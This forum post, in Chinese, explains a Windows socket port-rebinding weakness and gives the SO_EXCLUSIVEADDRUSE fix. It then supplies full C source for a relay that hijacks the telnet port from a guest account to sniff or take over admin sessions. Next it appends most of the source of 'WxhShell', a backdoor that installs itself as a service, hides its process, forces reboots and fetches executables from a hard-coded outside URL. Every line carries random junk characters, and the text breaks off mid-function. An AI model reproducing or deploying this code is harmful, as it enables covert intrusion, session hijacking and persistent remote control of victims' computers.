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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ep1p>s^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8U7X/L  
?eri6D,86w  
  saddr.sin_family = AF_INET; Iz[wrtDI 1  
bSS=<G9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O@sJ#i>  
XJZS}Z7h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ys@G0}\3G  
K1m'20U  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _BBs{47{E  
$Ce;}sM  
  这意味着什么?意味着可以进行如下的攻击: &E`=pe/e  
287)\FU;3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jQ9i<-zc  
uui3jZ:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,w0Io   
lW3wmSWn%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d@>1m:p  
peGh-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;@V1*7y  
d^^EfWU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0M 5m8  
FmC [u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \Ea(f**2B  
i[m-&   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ><"0GPxrx  
J|:Zs1.<d  
  #include {Q AV  
  #include ^6FU]  
  #include wUcp_)aE|  
  #include    5yQ\s[;o3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _p\O!y  
  int main() n+:}p D  
  { .0iHI3i^  
  WORD wVersionRequested; b]Z>P{ j  
  DWORD ret; q ,*([yX  
  WSADATA wsaData; }WEF *4B!  
  BOOL val; c<]~q1  
  SOCKADDR_IN saddr; S)vNWBO  
  SOCKADDR_IN scaddr; =SLCG.  
  int err; hO0g3^  
  SOCKET s; Kld#C51X f  
  SOCKET sc; S F&EVRv  
  int caddsize; Kzrt%DA  
  HANDLE mt; L5A?9zum/!  
  DWORD tid;   Rg~F[j$N  
  wVersionRequested = MAKEWORD( 2, 2 ); pDM95.6   
  err = WSAStartup( wVersionRequested, &wsaData ); DE" Y(;S  
  if ( err != 0 ) { ?`U=Ps  
  printf("error!WSAStartup failed!\n"); j=n<s</V  
  return -1; .Fm@OQr  
  } -9~WtTaV.H  
  saddr.sin_family = AF_INET; a474[?  
   ,'>O#kD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eGQ -Ht,N  
B:=VMX~GE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ff{dOV.i  
  saddr.sin_port = htons(23); _"G./X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U['|t<^uf  
  { q o tWWe#  
  printf("error!socket failed!\n"); $W0O  
  return -1; Ym$=^f]-  
  } y$U(oIU>  
  val = TRUE; FgTWym_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `F4gal^ ^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n5;>e&  
  { #D|n6[Y'.t  
  printf("error!setsockopt failed!\n"); E>Lgf&R#W  
  return -1; mk]8}+^.  
  } BSHtoD@e7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [LDY;k~5+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vnD `+y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sG8G}f  
pT'jX^BU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OO*2>Qy~z  
  { $#/f+kble  
  ret=GetLastError(); ^s_7-p])(  
  printf("error!bind failed!\n"); `$i/f(t6`  
  return -1; XWv;l)  
  } yNOoAnGT W  
  listen(s,2); +S ],){  
  while(1) >m# bj^F\  
  { 9#b/D&pX5  
  caddsize = sizeof(scaddr); 55Ag<\7  
  //接受连接请求 }b=Cv?Zg$m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _q=ua;I&  
  if(sc!=INVALID_SOCKET) p}K.-S`MQ  
  { %hCd*[Z}j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u?I2|}#  
  if(mt==NULL) l" +q&3Zx  
  { .T\_4C  
  printf("Thread Creat Failed!\n"); @23~)uiZa  
  break; L=wpZ`@ y  
  } ?z0N- A2C2  
  } 8ib%CYR  
  CloseHandle(mt); MkX=34oc^  
  } }0~X)Vgm(  
  closesocket(s); 2VaKt4+`  
  WSACleanup(); ]3]=RuQK2  
  return 0; 3H ,?ZFFGz  
  }   J/B`c(  
  DWORD WINAPI ClientThread(LPVOID lpParam) jchq\q)_z  
  { { pk]p~  
  SOCKET ss = (SOCKET)lpParam; )SyU  
  SOCKET sc; 7mtX/w9  
  unsigned char buf[4096]; O#?@' 1  
  SOCKADDR_IN saddr; IA680^  
  long num; VCQo3k5 {  
  DWORD val; tQ(4UHqa~  
  DWORD ret; v:?l C<,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ug^esB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S<eB&qT$  
  saddr.sin_family = AF_INET; 1:22y:^j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '; ;X{a  
  saddr.sin_port = htons(23); .X34[AXd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?@CbaX~+K  
  { P(cy@P,D  
  printf("error!socket failed!\n"); cG,zO-H  
  return -1; ~|( eh9  
  } FwUgMR*xq  
  val = 100; `T3B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vp(ow]Q  
  { Ticx]_+~T  
  ret = GetLastError(); bW^C30m  
  return -1; {BzE  
  } 0sI7UK`m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FaQc@4%o  
  { uYC1}Y5N  
  ret = GetLastError(); _ o.j({S  
  return -1; L :Ldk  
  } n50W HlMtt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :B:6ezDF6  
  { SM\qd4  
  printf("error!socket connect failed!\n"); i>e?$H,/  
  closesocket(sc); %S/?Ci  
  closesocket(ss); EO%"[k  
  return -1; '9!J' [W  
  } J?C:@Q  
  while(1) u=t.1eS5  
  { qyP={E9A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZlP+t>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MI)v@_1d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LB`{35b-  
  num = recv(ss,buf,4096,0); oL@K{dk  
  if(num>0) (dTQ,0  
  send(sc,buf,num,0); !cW!zP-B*p  
  else if(num==0) Up5|tx7  
  break; V.Tn1i-v  
  num = recv(sc,buf,4096,0); PU8dr|!  
  if(num>0)  fj'7\[nZ  
  send(ss,buf,num,0); )3k?{1:  
  else if(num==0) <QD[hO^/  
  break; JJK-+a6cX  
  } Z@} qL1  
  closesocket(ss); bvS6xU- J  
  closesocket(sc); 3~:9ZWQ/  
  return 0 ; J4u>77I  
  } [0vqm:P  
IKV!0-={!z  
0o!mlaU#  
========================================================== nJ h)iQu  
3S" /l  
下边附上一个代码,,WXhSHELL ,B'fOJ.2  
.y<u+)  
========================================================== |}b~YHTs  
,Oe:SZJ>  
#include "stdafx.h" -iL:D<!Cb_  
<~P!yLr  
#include <stdio.h> %OOkPda  
#include <string.h> KD.|oo  
#include <windows.h> qA"BoSw4  
#include <winsock2.h> Q-z `rW  
#include <winsvc.h> M.+h3<%^  
#include <urlmon.h> ;Y0M]pC  
W4UK?#S+  
#pragma comment (lib, "Ws2_32.lib") {@6:kkd  
#pragma comment (lib, "urlmon.lib") sNM ]bei  
~d\^ynQ  
#define MAX_USER   100 // 最大客户端连接数 No`*->R  
#define BUF_SOCK   200 // sock buffer hZlHY9[t?  
#define KEY_BUFF   255 // 输入 buffer B<i(Y1n[  
zK&1ti@wln  
#define REBOOT     0   // 重启 ,3N>`]Km'  
#define SHUTDOWN   1   // 关机 -E~r?\;X  
*2pf> UzL  
#define DEF_PORT   5000 // 监听端口 4:-x!lt  
7ug"SV6Hb  
#define REG_LEN     16   // 注册表键长度 HLOr Dlj7  
#define SVC_LEN     80   // NT服务名长度 f;AI4:#I  
B oxtP<C"  
// 从dll定义API Jy\0y[f*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R9!U _RH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k||dX(gl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &>&6OV]P'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [!4xInS  
*V4%&&{  
// wxhshell配置信息 Tdm|=xI  
struct WSCFG { 8i5S }  
  int ws_port;         // 监听端口 {xeJO:M3/  
  char ws_passstr[REG_LEN]; // 口令 wl&T9O;?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'v9M``  
  char ws_regname[REG_LEN]; // 注册表键名 zw+RDo  
  char ws_svcname[REG_LEN]; // 服务名 M\-[C!h,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eL~3CAV{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h3-^RE5\`S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -+Ot' ^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tDRo)z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d%.|MAE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E- [Eg  
V:>r6  
}; 0N~kq-6.\  
?|98Y"w  
// default Wxhshell configuration (~o"*1fk>  
struct WSCFG wscfg={DEF_PORT, +80bG(I_  
    "xuhuanlingzhe", P;o  {t  
    1, JsNj!aeU%  
    "Wxhshell", qS9<_if2  
    "Wxhshell", D'vaK89\  
            "WxhShell Service", 7B=VH r  
    "Wrsky Windows CmdShell Service", zjh:jrv~  
    "Please Input Your Password: ", WMC\J(@.  
  1, T0Xm}i  
  "http://www.wrsky.com/wxhshell.exe", ;i\N!T{>  
  "Wxhshell.exe" /(*Ucv2i}T  
    }; Wy}^5]R0E  
3E^qh03(  
// 消息定义模块 }79O[&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T~k@Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -gm5E qi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DxwR&S{  
char *msg_ws_ext="\n\rExit."; 9!(%Vf>  
char *msg_ws_end="\n\rQuit."; }dpTR9j=  
char *msg_ws_boot="\n\rReboot..."; !y B4;f$  
char *msg_ws_poff="\n\rShutdown..."; Li]96+C$}  
char *msg_ws_down="\n\rSave to "; (' 7$K  
R?{xs  
char *msg_ws_err="\n\rErr!"; kmX9)TMVO  
char *msg_ws_ok="\n\rOK!"; 2]I l:>n,  
tcT =a@  
char ExeFile[MAX_PATH]; '(rD8 pc  
int nUser = 0; r{^43g?  
HANDLE handles[MAX_USER]; CgmAxcK  
int OsIsNt; a6j& po  
b>VV/j4!/  
SERVICE_STATUS       serviceStatus; ]J'TebP=L5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =Y81h-  
4>i\r  
// 函数声明 =\|,hg)c  
int Install(void); %~x?C4L8  
int Uninstall(void); =PciLh  
int DownloadFile(char *sURL, SOCKET wsh); C\;l)h_{  
int Boot(int flag); "+T`{$Z=C  
void HideProc(void); '?| 1\j  
int GetOsVer(void); Zp3-Yo w2  
int Wxhshell(SOCKET wsl); >h)kbsSU0z  
void TalkWithClient(void *cs); bXvO+I<  
int CmdShell(SOCKET sock); `-.2Z 0  
int StartFromService(void); pB\:.?.pd  
int StartWxhshell(LPSTR lpCmdLine); r dSL  
8-NycG&)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cz1+ XpU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ij;NM:|Sd  
\fUX_0k9,  
// 数据结构和表定义 nAWb9Yk  
SERVICE_TABLE_ENTRY DispatchTable[] = n0T|U  
{ S4`X^a}pY  
{wscfg.ws_svcname, NTServiceMain}, ` PQQU~^  
{NULL, NULL} 8T9 s:/%  
}; .Y{x!Q"  
v:/\; 2  
// 自我安装 NI#]#yM+  
int Install(void) Lv]%P.=[G  
{ "A"YgD#t  
  char svExeFile[MAX_PATH]; Qy0w'L/@  
  HKEY key; bf0,3~G,P  
  strcpy(svExeFile,ExeFile); o+&Om~W  
T>'O[=UWh  
// 如果是win9x系统,修改注册表设为自启动 ,wes*  
if(!OsIsNt) { #55:qc>m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4qp|g'uXT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G(.G>8pf  
  RegCloseKey(key); Ba8=nGa4KY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Q&xH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WM?-BIlT=  
  RegCloseKey(key); W/bW=.d Jd  
  return 0; - [h[  
    } #i@f%Bq-  
  } TDDMx |{  
} yy=hCjQ)  
else { } LS8q  
4h@,hY1#  
// 如果是NT以上系统,安装为系统服务 !(F?`([A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Hz GwO^tbK  
if (schSCManager!=0) (O4oI U  
{ '*mZ/O-  
  SC_HANDLE schService = CreateService k\ .9iI'6  
  ( P0}{xq'k9v  
  schSCManager, qsp.`9!  
  wscfg.ws_svcname, &Y?t  
  wscfg.ws_svcdisp, %rG4X  
  SERVICE_ALL_ACCESS, .)b<cH~%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kEnGr6e  
  SERVICE_AUTO_START, &L$9Ii  
  SERVICE_ERROR_NORMAL, } 7 o!  
  svExeFile, r[i^tIv6As  
  NULL, 7/IL" D  
  NULL, IU"  
  NULL, B#S8j18M  
  NULL, O|,9EOrP  
  NULL G-T^1?  
  ); ")No t$8  
  if (schService!=0) |qn 2b=  
  { W:]2T p  
  CloseServiceHandle(schService); e9{0hw7  
  CloseServiceHandle(schSCManager); dgpE3 37Lt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "jum*<QZz  
  strcat(svExeFile,wscfg.ws_svcname); PiKP.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o@zxzZWg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :TU|:2+  
  RegCloseKey(key); ZQE1]ht  
  return 0; sh_;98^  
    } iibG$?(  
  } vd[7Pxe  
  CloseServiceHandle(schSCManager); Sc[#]2 }  
} s) ]j X  
} qX-ptsQ  
tJ6@Ot  
return 1; J;>epM ;*  
} CVa>5 vt  
1z8"Gk6  
// 自我卸载 z9ADF(J?0'  
int Uninstall(void) ]@Zv94Z(  
{ 6i[Ts0H%<!  
  HKEY key; >NBc-DX^  
'Nl hLu  
if(!OsIsNt) { [ @eA o>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P0.cF]<m  
  RegDeleteValue(key,wscfg.ws_regname); eZPeyYX  
  RegCloseKey(key); )*]A$\Oc[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R7Y_ 7@p  
  RegDeleteValue(key,wscfg.ws_regname); x8rg/y  
  RegCloseKey(key); =:s`C,l.4  
  return 0; U S ALoe  
  } ;n Bf  
} Wn=sF,c  
} c9-$^yno  
else { +<1 |apS1  
mF;mJq<d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eT".psRiC  
if (schSCManager!=0) K|Sq_/#+U  
{ *,$5EN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >8(i;)(3  
  if (schService!=0) 4]U=Y>\Sr  
  { 754MQK|g  
  if(DeleteService(schService)!=0) { /9R0}4i7  
  CloseServiceHandle(schService); M(I%y0  
  CloseServiceHandle(schSCManager); X vaIOt>A  
  return 0; }i~k:kmV  
  } 1<BKTMBq?{  
  CloseServiceHandle(schService); Dds-;9  
  } K'ZNIRr/ C  
  CloseServiceHandle(schSCManager); !vgY3S0?rq  
} ;0 B1P|7zK  
} ?@G s7'  
,>-D xS  
return 1; blgA`)GI  
} 27D*FItc  
g3$'G hf  
// 从指定url下载文件 !{jw!bB  
int DownloadFile(char *sURL, SOCKET wsh) [Y](Y3/.N  
{ )*BZo>"  
  HRESULT hr; #<*.{"T  
char seps[]= "/"; s?EQ  
char *token; -O *_+8f  
char *file; 6j|Ncv  
char myURL[MAX_PATH]; 05LkLB  
char myFILE[MAX_PATH]; 'v]0;~\mp>  
3}H{4]*%_  
strcpy(myURL,sURL); ;_bRq:!j;  
  token=strtok(myURL,seps); 0DicrnH8  
  while(token!=NULL) d{7ZO#E  
  { "] V\Y!  
    file=token; A2 + %  
  token=strtok(NULL,seps); l}uZxKuYx  
  } nEsD+ }E?  
zo ?RFn  
GetCurrentDirectory(MAX_PATH,myFILE); Y#9W]78He  
strcat(myFILE, "\\"); n|{K_! f  
strcat(myFILE, file);  =1Sny7G  
  send(wsh,myFILE,strlen(myFILE),0); b e8T<F  
send(wsh,"...",3,0); 0/su`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F=Bdgg9s  
  if(hr==S_OK) r/sSkF F  
return 0; GI]\  
else sv=U^xI  
return 1; |jiIx5qr  
 rexf#W)  
} \AwkK3  
n2mO-ZXud  
// 系统电源模块 H4y9\ -  
int Boot(int flag) ^N/d`IAjv  
{ D -tRy~}  
  HANDLE hToken; K+}0:W=P  
  TOKEN_PRIVILEGES tkp; V~dhTdQ5}  
[q?RJmB]  
  if(OsIsNt) { c*ueI5i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r%=-maPL[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B"_O!  
    tkp.PrivilegeCount = 1; 2GptK"MrD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  V;%ug'j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _;k<=ns(=  
if(flag==REBOOT) { JUr t %2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \78E>(`'  
  return 0; qYA~Os1e  
} ZHNL ~=r}  
else { |P>7C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) # sw4)*v  
  return 0; v.(dOIrX  
} sE[`x^1'8  
  } n2K1X!E$  
  else { gq?7O<  
if(flag==REBOOT) { fd )v{OC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f'=u`*(b7  
  return 0; 8%,#TMOg  
} R/oi6EKv  
else { j0e,>X8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r:bJU1P1$s  
  return 0; qofAA!3z  
} Z5v dH5?!r  
} vxmX5.  
-0^]:  
return 1; g=t`3X#d  
} v'i'I/  
)$!b`u  
// win9x进程隐藏模块 5_;-Qw  
void HideProc(void) kO\ O$J^S  
{ LI%dJ*-V  
t5+p]7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y1h)aQ5{  
  if ( hKernel != NULL ) a?-&O$UHf\  
  { 6k t,q0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S9Sgd&a9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P P J^;s  
    FreeLibrary(hKernel); p^8a<e?f~f  
  } xxur4@p!  
 8oJl ]  
return; [#Qf#T%5h  
} "Wj{+ |f  
w^0hVrws=,  
// 获取操作系统版本 / dJz?0  
int GetOsVer(void) hVF^ "$  
{ :IZAdlz[@  
  OSVERSIONINFO winfo; yh E%X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +VkL?J  
  GetVersionEx(&winfo); 8._uwA<[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IAQ<|3Q  
  return 1; (F&LN!Hn>p  
  else w1tM !4r  
  return 0; zP44 Xhz  
} G%I .u  
]Kt@F0U<o  
// 客户端句柄模块 osXEzr(  
int Wxhshell(SOCKET wsl) Vkg0C*L_  
{ X]=eC6M}:V  
  SOCKET wsh; |*c1S -#  
  struct sockaddr_in client; bny5e:= d  
  DWORD myID; r]!#v{#.  
E<jajYj  
  while(nUser<MAX_USER) u ]"fwkL  
{ "OenYiz  
  int nSize=sizeof(client); M G$+Blw>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rn|]-^ku/  
  if(wsh==INVALID_SOCKET) return 1; v*!N}1+J  
#uU(G\^T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UDJjw  
if(handles[nUser]==0) _8.TPB]no  
  closesocket(wsh); .aT@'a{F  
else r.e K;  
  nUser++; 5f7id7SI  
  } gk|>E[.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r0}x:{$M  
Rt?CE jy  
  return 0; 66& uK|  
} o4" [{LyT  
HS <Jp44  
// 关闭 socket  @*eY~  
void CloseIt(SOCKET wsh) N)"8CvQL  
{ Ye3o}G9z  
closesocket(wsh); q5_zsUR=  
nUser--; bW=q G  
ExitThread(0); +bE{g@%@ +  
} ]`)5 Qe4  
_-C/s p^   
// 客户端请求句柄 )Dz]Pv]H'  
void TalkWithClient(void *cs) qGA|.I9,  
{ 6-|?ya  
_]zX W  
  SOCKET wsh=(SOCKET)cs; C>Hdp_Lm  
  char pwd[SVC_LEN]; rp4D_80q  
  char cmd[KEY_BUFF]; svmb~n&x6  
char chr[1]; a=}1`Q  
int i,j; d` ttWWPw  
TnN yth wZ  
  while (nUser < MAX_USER) { 9jjeZc'  
)pl5nu#<  
if(wscfg.ws_passstr) { 2A\b-;4EP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +%XByY5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ELe W3 S}  
  //ZeroMemory(pwd,KEY_BUFF); p?L%'  
      i=0; NWn*_@7;  
  while(i<SVC_LEN) { R:f!ywj%  
d'96$e o~  
  // 设置超时 .6`r`|=  
  fd_set FdRead; UE^o}Eyg  
  struct timeval TimeOut; lW?}Ts ~'  
  FD_ZERO(&FdRead); JlnmG<WLT  
  FD_SET(wsh,&FdRead); 9>4#I3  
  TimeOut.tv_sec=8; Ypzmc$Xfu  
  TimeOut.tv_usec=0; i975)_X(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?7NSp2aq2A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vCi`htm%  
zd5=W"Y;]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j;.P  
  pwd=chr[0]; gfK_g)'2U  
  if(chr[0]==0xd || chr[0]==0xa) { oZ*?Uh*  
  pwd=0; XnP?hw%  
  break; ?+EAp"{j  
  } RK.lz VaY  
  i++; he~8V.$  
    } {Lal5E4-  
lOcFF0'  
  // 如果是非法用户,关闭 socket M ]047W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RVA ku  
} i@+m<YS:2>  
Rf0so   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~T H4='4W3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MxpAh<u!vF  
b\JU%89  
while(1) { 02Vfg42  
bJn&Y  
  ZeroMemory(cmd,KEY_BUFF); /%;J1 {O  
BeFyx"NBg  
      // 自动支持客户端 telnet标准   wKi#5k2  
  j=0; ^S`hKv&87  
  while(j<KEY_BUFF) { 2n3&uvf'TL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f5F-h0HF`[  
  cmd[j]=chr[0]; bz>\n"'  
  if(chr[0]==0xa || chr[0]==0xd) { K W&muD  
  cmd[j]=0; >rlUV"8jY;  
  break; ynw(wSH=  
  } =)Hu(;Yv  
  j++; nam]eW  
    } Jw5@#j  
oo;<I_#07  
  // 下载文件 ,oH\rrglf  
  if(strstr(cmd,"http://")) { $B?8\>_?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EeMKo  
  if(DownloadFile(cmd,wsh)) =7e!'cF[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ze>R@rK  
  else P Ptmh. }e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |a03S Zx  
  } Lp-$Ie  
  else { &ic'!h"  
"y~*1kBu  
    switch(cmd[0]) { q`mxN!1[  
  sDBSc:5+e  
  // 帮助 ~8&->?{  
  case '?': { ! 7V>gWhR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H_@6!R2  
    break; DNZ,rL:h  
  } b4wT3  
  // 安装 445JOP  
  case 'i': { M-].l3  
    if(Install()) h._eP.W`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \%r0'1f  
    else WYF8?1dt +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FR6 W-L  
    break; 6IRRRtO(  
    } p#qla'  
  // 卸载 MS#"TG/)  
  case 'r': { A-1K TD  
    if(Uninstall()) z&0[F`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ih }"  
    else <_8b AO8\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SP"V~^Wn  
    break; 'y!qrmMRr  
    } 5|0/$ SWd*  
  // 显示 wxhshell 所在路径 ch%zu%;f  
  case 'p': { G9-ETj}  
    char svExeFile[MAX_PATH]; S-mpob)  
    strcpy(svExeFile,"\n\r"); H.|I|XRG/  
      strcat(svExeFile,ExeFile); BegO\0%+  
        send(wsh,svExeFile,strlen(svExeFile),0); MR,I`9Pe  
    break; cvy 5|;-u  
    } D(Rr<-(  
  // 重启 V+D5<nICr  
  case 'b': { h8O\sKn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u(3 uZ:  
    if(Boot(REBOOT)) XK\nOHLS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !pU^?Hy=  
    else { l[_antokn  
    closesocket(wsh); F|6"-*[RS  
    ExitThread(0); !GvT{  
    } [xY-=-T*4  
    break; ~q+AAWL  
    } 93D}0kp  
  // 关机 5JaLE5-  
  case 'd': { DqY"N ]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l"JM%LV  
